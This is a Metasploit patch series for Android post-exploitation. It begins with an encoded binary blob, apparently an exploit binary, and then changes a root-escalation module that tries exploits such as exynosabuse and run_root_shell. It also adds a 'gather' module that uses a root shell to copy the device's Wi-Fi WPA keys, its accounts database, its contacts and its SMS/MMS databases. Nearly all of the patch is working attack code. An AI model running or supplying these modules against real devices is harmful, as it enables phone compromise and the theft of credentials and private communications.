zA$z?OZdft5&@&BqZ^fflI~zPJVZ&IFpavtj<~lT;l@4bXIYc|G%2K1QrJ(`-$StPP z;XbJO54}+hLv2-S1A{s{k5oF$QH`5Ch-7Ynv7V(@V6814p^zbaY__6eWZ~}X=*(1f zlM8bibUfT154fE7}YIs|#G!KqWIDdE-3pxxVOP!g>t+=IneB;l7@sAmRmP(6f&6~4WqDfzwYeim~ z9h3w&eZi~|53a(e{yD-)MPyN(+nlNM)$zNa#R<=f*-m&f5{WWwEln6`EpXY3#K=>l zgj*dRE$Enfd@~VVTOGl8wyBJVVMDkDF*JjOCah3c%qY#)6<9V|@O`#b(n^q;tuz6l zi5MvGCSol%f29LGZlT2~Gza}tN77;klaMg=YJ8IqYsJ!#2S#yNwq|Cs8S1mS8yMUd zqEz>)tad}+g%lPJ+3I)l+*W(TRJc*)7`+8njD;I3nO9ade@@v_Je;naRaJA_(na&D zZmF&;DV;@|rO*c_F5=Kd2~Wj5;hEZEvrL_6nd&jSu}EBbEx!3wy0mIeg(BYWTsD7uFQc zSx5WSzSUOaq%qn7wanc~CC?LfJxTMWgw zQymOyos&fT0L5z`#=Ulws85%ukCvj@Iq#{gULle_s>m052JZ-E@;`mshP-kmaM!nkZCRgv+eR5`ffVlpKC6FTUVQx9 zHapS{pMTrNy3%D6kkXd`DZLfA80mXYAiig+d0V)6D0VO;Dr0{9rsc#0` zD*lG>o;X?lJE2xSNr-Yyr@n3TA>9S+?TL}SK>VJzE$u5Mz7=?k!vFZT?YN33fnJ0M zfZP9xe7(EnlZ230ep(58fFx(~*NQ&Y0jb<^|5C!)z{5yC1v~=W^>518D<2_zHcdWq zM&aqdK^St4guQ#@)xaL`2Y`ElJ(|I`-UL}@T43)}ayB8tJ|OkmX%XKeH^vUO?a@3h zXU8e=mB3cyKLlJ2JPw4($Qkj#J&E$igwUT);BMKgSHgXSdvx-W1PUWwV2|8Oi1ry0 z72XknyJg)dC0+(fD5o2k1@x-%M+L^oNlAlk;}CBIQn{^!&+28ahWiBWmU}Ovbl3+_ zyXR8*qzL!O8KWtFw_Gj|?FH_+(IB6uFzRJVCN#(csf3AgUmEdy=5DI@@aw3%9CpqIgLR1->@AK-YxeKqP$}BV4DZ=9|NiWS#=bzlkEbv@;*Y;<1iuY zx~5(UuM_yJyh{!56X=yc7T7DFv=DE%Y_bye%H;xg%kK+(PBt|v={pD^*KVV5k9>>} z?WnvHh;h+lSL~mV(zBZgdlf`_E5iI=uum7oYvhmb0xp&1?q-EQ*-iMIe3%ga;+P1- zjs)(O3p@(1j1cYK&_Wm|pIk|pAzNArwetHwP0yur)+!~ugAnbr+)W7kB}9L+dnnv1 z>j(cNj=^RlJ(gcgsFP_|?@vB%V&*Cle;hr#lGaFc%wA?JNU`9QzfK;!o6o$OxgwLkS z#>XfO`xCfZJ_aPeo&7lYH^#}Wz}+{-%NbsU#|cr+Q6TxTzMm>`P0y+R3)uTJot)9D z@MWO%^Y9OkCs0N}Mh-x6Jfv5(e8i;Bjs)48mq8f;5AgY0=2BI2> zY9OkCs0N}Mh-x6Jfv5(e8i;Bjs)48mq8f;5AgY0=2BI2>Y9OkCs0N}Mh-x6Jfv5(e z8i;Bjs)48mq8f;5AgY0=2BI2>Y9OkCs0N}Mh-x6Jfv5(e8i;Bjs)48mq8f;5AgY0= z2BI2>Y9OkCs0N}Mh-x6Jfv5(e8i;Bjs)48mq8f;5AgY0=2BI2>Y9OkCs0N}Mh-x6J zfv5(e8i;Bjs)48mq8f;5AgY1?e>5akqitso}qgby?!+LOqf3|;=$disH z@}t=XZv1i!r@w4PynPY8?oSfA?!!dhca4F&{=9{c0*`}pID)4?nZPH1mcW;krSQJ} zL9SPMN6*9S29N$)7Rft)9^TPk1$iQPr@^^Ux%7v%h;d&s2G*&cizZ-gxlNfTL?3IgSuL;xhpu z;w7Djx7`+dFiYj7orgz)C*sNgC+h;dN#JFJV>}P~D^qz{_5FOU%Bzjw`M~P|ZwGi;dH3_H!D|G^g{u|UI+cI) zr9^&cAMEe%$-L~3@A7NG+ln-jN4y;>&pT-p-;g99FM?;f^DwKSFN(3iTUQa^? zKe{x77p#Z8=l;y|KuZHJ16LNV8Mq=pjRBeGNASwd!pru_d>VKaNUJ$Z`jFh$ALqp? zZ^`+1Pd?74gJ%K9j*I%&qw;;k-U%3!J7fzu`u3Am6x{Dug5r_LeoMpYi!GnIQr zrPJO_ECv^ zyETQoKKz=`1+N=v+tu_?VTY$B@zeQ9d~tm$Kl-bk{7xk70%vao@AwZBc+#o_e&{0u z-=EjVZ7Oen1n($#XIc~ZK9$#~@(xAtq_zZJb~m^m8~AC+qd#BV2hPz5-s!DLJfk~_ zyWUOX*}+Q=&Ia$;ci`Ow-bwIIMaVmR=_r0OZ4@^xOy$R?9pU9FFS6XD;GF@lQsvD7 zkF{J_-pwlSLh>rW(?eb)Z!-L3CH&;Bx>U}uKf-TOd6DhN0M7*8R+ZNPo&oa4;R^qp z{C)yA+?K$Ndkwty%09kKk>V+SNM9+Y5Q8RC!6@m7&ZFt;ZLFR{>s4MEwvw;3~=;1xWP%r`ul%#R#NqB~;)}G7{!8-!Z`w_gx+5}#6M*^Qw zoWk|nFFtsO$~zvx>jUoqc)P$W2XBeWI}^b>0^WY`yejYeD$lTDq+Nx0Ju2@9;AMd` zIf94i5uc?9%>bwDJUo8+8@vv@#o*LN@MaVx@Y-DXjcx<)S@Iq?gXj7Vyjt*D!HZnC zXO&=2F$4DeV*@uWdyg*%PX=#Yc)7A9BYMQgju7#-M(~pUpy$Q!>iLY)(VW-)g*Soc z1*a#1XFsav+uzgk4YNk`?svcB4wa`@=OIxT%H8otJwN=uo*$U4@SG}d#Cij~z2F@M z?|twpA)Lfm0+`XYE+?}6QUF6DjWuH?O% zZ+WxI`#7A3a*KbZ=a!fB+;{b8ZdmsTcY}8voPls2;%0QA-{A94`3+nTfA2xu8E|wf zN7_}vTM2yeYv5(2aOvJ4Zvih2oQw#b7kkD-`H;B;1Y0&fX8mIxmEeFD$wOW=HJ3O~B} z@BD6+=ZWAMz$*Z+PvzYMUKcnUB6x@%@mY-!@y^!{%J4uk-zi&17Z^!$v0S6zM;2r)By!*lH1J4&xZqm{OeiZX%W3quCjr$4T0G@6Y>;PBzCj;v+J;vOILd?JS z#2qY`p<`T)xLR=;J2WgGSLj1`71<`Nau351L^$B z2BdSfRltjZ>wt8A_6U&94Sx!xbH;-}Iv@NUkj}aMKsv`70Ma>?exrubIn-Dnoikkv zlz`U(Gl8>#{mcsnzt4f>N8>hW82QP|f#l!HfaDKtK=M!b z0m+}e1SJ3RDUkfpSHOk9%*`4`>*@j^t(!}Mw2rL<(mJ&bNbAsUAgwch2BdZ5>p)s3 zegdR*;6H)2z=>Nl%nU3A)&cFndSEBe0(=Tc`-c~S4Zyd6w2%1*un~C4Rt>WOjlesB zHv^Xgn}K%VLqJ-G9RfOlp8=h~Ge8$G8RO_KU>88>R#nMDf!RKAvF zOwh8E2p@e^!yf5kY}V7zC3vTimarE6jQgXRS~eNzhb$>a%UXbI2BAZ6#0N6caJ@fX z%aTYQ;(rQGHuC5Z*5MjJ+$ky-aSKq+`924XkN5W(yg`>~%ID1F^%GtsdHrqIzY=7X zUO&Uy6Zs7^&d3I+A4sI}o)W$bXfYIX8gr!o4Y;=AI&^pn-v?a$%{XyR6rR@grjlky zS}8c;GP_?_WSU+n=4AIIi^}N1Ra-Ni9|rDwDvOh?k<4|ts7$FPi|+*<-JT`(0pV#r z#8FztCrqsU!_%Zk)qF2!akA5MrIGE*xVmxez_tCdVtzp21hKBCd{hrgH))G`FR({9 zL9FG&Wiqo;-u|vEPIfKh3dtoGl`J2;-KSU{_aane8%-cz%p%HYY>5zw=?t z1L}P%?n|IZS}C6W~asMF|(YKs<}CcAewS( zv$V1t_cPZZ@xCIpOyW2!!J6J}%-o#19o|`O^#D9AA_9|eA=XwPDhD)*cpa}I7Dwp<+h<0@VX+3>39eV^+ znB>zZ#G|z-rggC%_*kc9A9pExcjC||B)S6kv`43P!!huVfk$hB&?h91_F>7mh&KS< zz&YeukWR9RcN)CY=in_5cjNF-#lc{V%K)Nz?!U literal 0 HcmV?d00001 diff --git a/modules/post/android/escalate/getsystem.rb b/modules/post/android/escalate/getsystem.rb index f2339bfd972bd..1d31ed820c3fc 100644 --- a/modules/post/android/escalate/getsystem.rb +++ b/modules/post/android/escalate/getsystem.rb @@ -18,9 +18,7 @@ class Metasploit3 < Msf::Post def initialize(info={}) super(update_info(info, 'Name' => 'Android Escalate via Native Binary', - 'Description' => %q{ - This module uses native binaries to attempt to get a root shell - }, + 'Description' => %q{ This module uses native binaries to attempt to get a root shell }, 'License' => MSF_LICENSE, 'Author' => 'timwr', 'Platform' => [ 'android' ], @@ -28,10 +26,10 @@ def initialize(info={}) )) register_options([ - OptInt.new('TECHNIQUE', [false, "Specify a particular technique to use (1-4), otherwise try them all", 0]) + OptInt.new('TECHNIQUE', [false, "Specify a particular technique to use (1-2), otherwise try them all", 0]) ], self.class) - @techniques = [ 'su', 'run_root_shell', 'exynosabuse', 'GingerBreak' ] + @techniques = [ 'su', 'run_root_shell', 'exynosabuse' ] end def use_technique(tech) @@ -79,7 +77,13 @@ def use_technique(tech) def run tech = datastore['TECHNIQUE'].to_i - use_technique(2) + if tech == 0 + use_technique(2) + use_technique(1) + use_technique(0) + else + use_technique(tech) + end end end From 64f28ab66ef8f8e142427a1cecc97f723c87da8d Mon Sep 17 00:00:00 2001 From: Tim Date: Sat, 31 Aug 2013 14:53:02 +0100 Subject: [PATCH 3/3] add android gather --- modules/post/android/escalate/getsystem.rb | 18 +++-- modules/post/android/gather/gather.rb | 77 ++++++++++++++++++++++ 2 files changed, 85 insertions(+), 10 deletions(-) create mode 100644 modules/post/android/gather/gather.rb diff --git a/modules/post/android/escalate/getsystem.rb b/modules/post/android/escalate/getsystem.rb index 1d31ed820c3fc..b6d82d7f05a63 100644 --- a/modules/post/android/escalate/getsystem.rb +++ b/modules/post/android/escalate/getsystem.rb @@ -6,10 +6,6 @@ ## require 'msf/core' -require 'rex' -require 'metasm' -require 'msf/core/post/windows/priv' - class Metasploit3 < Msf::Post @@ -26,7 +22,7 @@ def initialize(info={}) )) register_options([ - OptInt.new('TECHNIQUE', [false, "Specify a particular technique to use (1-2), otherwise try them all", 0]) + OptInt.new('TECHNIQUE', [false, "Specify a particular technique to use (1-3), otherwise try them all", 0]) ], self.class) @techniques = [ 'su', 'run_root_shell', 'exynosabuse' ] @@ -55,14 +51,14 @@ def use_technique(tech) end # finally, check if we have root - cmd << "whoami\n" + cmd << "id\n" # run the commands in a channel process = session.sys.process.execute("sh", "", {'Channelized' => true}) process.channel.write(cmd) output = process.channel.read - if output == 'root' - print_good("got root") + if output =~ /root/ + print_good("got root: " + output) return true else print_error(output) @@ -70,7 +66,9 @@ def use_technique(tech) # cleanup process.channel.close process.close - session.fs.file.delete(filename) + if tech != 0 + session.fs.file.delete(filename) + end return false end end @@ -82,7 +80,7 @@ def run use_technique(1) use_technique(0) else - use_technique(tech) + use_technique(tech - 1) end end diff --git a/modules/post/android/gather/gather.rb b/modules/post/android/gather/gather.rb new file mode 100644 index 0000000000000..a764f5b373c5f --- /dev/null +++ b/modules/post/android/gather/gather.rb @@ -0,0 +1,77 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/common' +require 'msf/core/post/file' + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Android Gather', + 'Description' => %q{ Post Module to gather from an android device }, + 'License' => MSF_LICENSE, + 'Author' => ['timwr'], + 'Platform' => [ 'android' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + def run + channel = find_root_channel + if channel.nil? + print_error("no root channel") + else + store_wifi_psk(channel, "/data/misc/wifi/wpa_supplicant.conf") + db_files = ['/data/system/users/0/accounts.db', + '/data/data/com.android.providers.contacts/databases/contacts2.db', + '/data/data/com.android.providers.telephony/databases/mmssms.db', ] + db_files.each do |db_file| + store_db(channel, db_file) + end + end + end + + def store_db(channel, file) + filename = ::File.basename(file) + tmp = "/data/local/tmp/db" + cmd = "[ -f #{file} ] && " + cmd << "cp #{file} #{tmp} && " + cmd << "chmod 777 #{tmp} && " + cmd << "echo 1 || " + cmd << "echo 2\n" + channel.write(cmd) + return if channel.read =~ 1 + + loot = read_file(tmp) + lootfile = store_loot(filename, "binary/db", session, loot, file, "Sqlite db file") + print_good("#{filename} saved at: #{lootfile.to_s}") + end + + def store_wifi_psk(channel, file) + channel.write("cat #{file}\n") + loot = channel.read + loot_file = store_loot("wpa.psk", "text/plain", session, loot, file, "WPA PSK file") + print_good("wpa-psk file saved at: #{loot_file.to_s}") + end + + def find_root_channel + session.channels.each_value do |ch| + ch.write("id\n") + output = ch.read + if output =~ /root/ + return ch + end + end + return nil + end +end +